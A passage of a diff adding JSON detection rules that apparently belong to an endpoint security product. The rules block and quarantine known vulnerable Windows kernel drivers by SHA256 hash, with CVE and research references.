+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479349Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7f9f420e780b3d7a836c09eef910546389310d8bf1ccc7104f711b0430407c2d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92c5369f-65df-5782-a9b4-ceccba8358dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830969Z",
+  "creation_date": "2026-03-23T11:45:30.830972Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830981Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "efb1587c1b1ea61a10a68da83b386808102f29253a16339e10b6bfd9c69eaaee",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92d2048f-b835-5883-aa6e-8cd362a2ecbd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973432Z",
+  "creation_date": "2026-03-23T11:45:29.973434Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973440Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fca10cde7d331b7f614118682d834d46125a65888e97bd9fda2df3f15797166c",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92d3bbf8-8947-5dac-8f45-9917ccdb5106",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481604Z",
+  "creation_date": "2026-03-23T11:45:30.481606Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481612Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ba40b1fc798c2f78165e78997b4baf3d99858ee39a372ca6fbc303057793e50d",
+  "comment": "Vulnerable Kernel Driver (aka rtif.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92deb819-4ef7-596b-8fc9-663a54848c4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828050Z",
+  "creation_date": "2026-03-23T11:45:31.828053Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828061Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "84107d0c7ccd6f88aaa50f4c5185e33df14d16ebf874051c8c0d56ae4d653fb6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92e7fc75-7718-527d-8a19-5c4a38ae1735",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499082Z",
+  "creation_date": "2026-03-23T11:45:31.499085Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499093Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "419e0a1e0ba3e06442a0076e289e11bfd2566aa1a818787b3231fd64d845d2b5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92ec7335-c17a-5597-ac00-0f389d1137b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481776Z",
+  "creation_date": "2026-03-23T11:45:31.481780Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481790Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "63a12cbb24bb2fa057b700fd2c59f24ce916c2124ca193b987e2079fa235c15c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9304882d-d209-51cc-ab16-8101699cb390",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472842Z",
+  "creation_date": "2026-03-23T11:45:30.472845Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472854Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2298e838e3c015aedfb83ab18194a2503fe5764a862c294c8b39c550aab2f08e",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93049b59-d24d-51ac-9901-45f198e9be4a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152364Z",
+  "creation_date": "2026-03-23T11:45:31.152367Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152375Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "721ab9d65148c5f29f0bc716ce7bbf8159f268108201f50e552bf5ead290cbaf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "931c31c7-03de-5107-9385-17fee16a6bdd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472171Z",
+  "creation_date": "2026-03-23T11:45:31.472176Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472185Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7d1d1058ebae552d0f030e059b61865d00e0a7227a42024d6e05b1f8b04657b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9321d471-67b6-5357-b93b-38cd0c5c6839",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140319Z",
+  "creation_date": "2026-03-23T11:45:31.140323Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140331Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae4d56428c041fc6a35f79926f9792103042c41a2a64a334b6318d64430cf13c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "932bbe4c-1aaa-57fb-8eed-9fbcc8737645",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823394Z",
+  "creation_date": "2026-03-23T11:45:30.823398Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823407Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "97153fdb315e84580b49aeb66709c419979c26b3ded5f2b4142245c18548eeb1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "933144b2-4e34-5448-9eab-d57143439810",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160777Z",
+  "creation_date": "2026-03-23T11:45:31.160779Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160784Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "094476116a7905fb52057dbfdbb6e37a0a46da61123ac86faefe67b41f7edd7b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "933338b2-0b96-5640-916d-5d55fb1fc725",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817790Z",
+  "creation_date": "2026-03-23T11:45:31.817794Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817802Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e28fd8e85a380cf4e6abc08cb7e0cb98649a96fa835f8d613bc7ca350e93505",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "933352f8-27af-5cf2-8223-1f6b1a8a63ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461239Z",
+  "creation_date": "2026-03-23T11:45:30.461242Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461251Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "103c1735b0ad3fc22070c3268580cd3fdbef0129a787dbc51bd5d36639515a8f",
+  "comment": "Vulnerable Kernel Driver (aka sfdrvx32.sys) [https://www.loldrivers.io/drivers/6c0c60f0-895d-428a-a8ae-e10390bceb12/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "933356d5-d044-5fff-a472-75966216d56c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606593Z",
+  "creation_date": "2026-03-23T11:45:29.606595Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606600Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd2d79f3930dab33ec2851c16da7e3043dd819df1592d965ee9d52b91b44ea4c",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "933ca585-c379-5629-b4c7-616612d47581",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614822Z",
+  "creation_date": "2026-03-23T11:45:29.614824Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614829Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a9706e320179993dade519a83061477ace195daa1b788662825484813001f526",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "933dafec-878a-5763-a98a-fd81f3cc2e71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620478Z",
+  "creation_date": "2026-03-23T11:45:29.620480Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620486Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f88ebb633406a086d9cca6bc8b66a4ea940c5476529f9033a9e0463512a23a57",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93420501-6efa-5945-aab5-966a810195ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471440Z",
+  "creation_date": "2026-03-23T11:45:30.471443Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471452Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0897935ff2e0e7cc23a036ec0791d587b4799a299c8d6d65f364a8bdff645760",
+  "comment": "Vulnerable Kernel Driver (aka tfbfs3ped.sys) [https://www.loldrivers.io/drivers/500e07cb-77c6-4e83-ae3f-73f70f1c10b5/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "934a8a7a-cce6-5942-854a-409a5e87dc18",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471715Z",
+  "creation_date": "2026-03-23T11:45:31.471718Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471728Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47d2122b487192f6b36f6bcb6b1ff8d3f5c5d2a0088918c88ff2abda965998a0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "935b54e9-353e-5786-9cd6-2df2e52cd2fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497725Z",
+  "creation_date": "2026-03-23T11:45:31.497728Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497737Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9470208b5df920296d2e006666d56010dc2281298ff9496d3049e6f5cce3301c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9375c93f-645a-5a0d-b7ae-6bdba5540681",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830546Z",
+  "creation_date": "2026-03-23T11:45:30.830548Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830553Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e975e5164f58cd8a540406fd3af42e53ffab7fef8caa9b0c02b6ae45dc35b49",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "937b703e-2e84-5f79-b8c0-0a913c8eef8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142727Z",
+  "creation_date": "2026-03-23T11:45:32.142729Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142735Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c71f2fc9b795c39a73c4dcdd3ad2b7e1204eec3e783d43e47dd72814d33739cd",
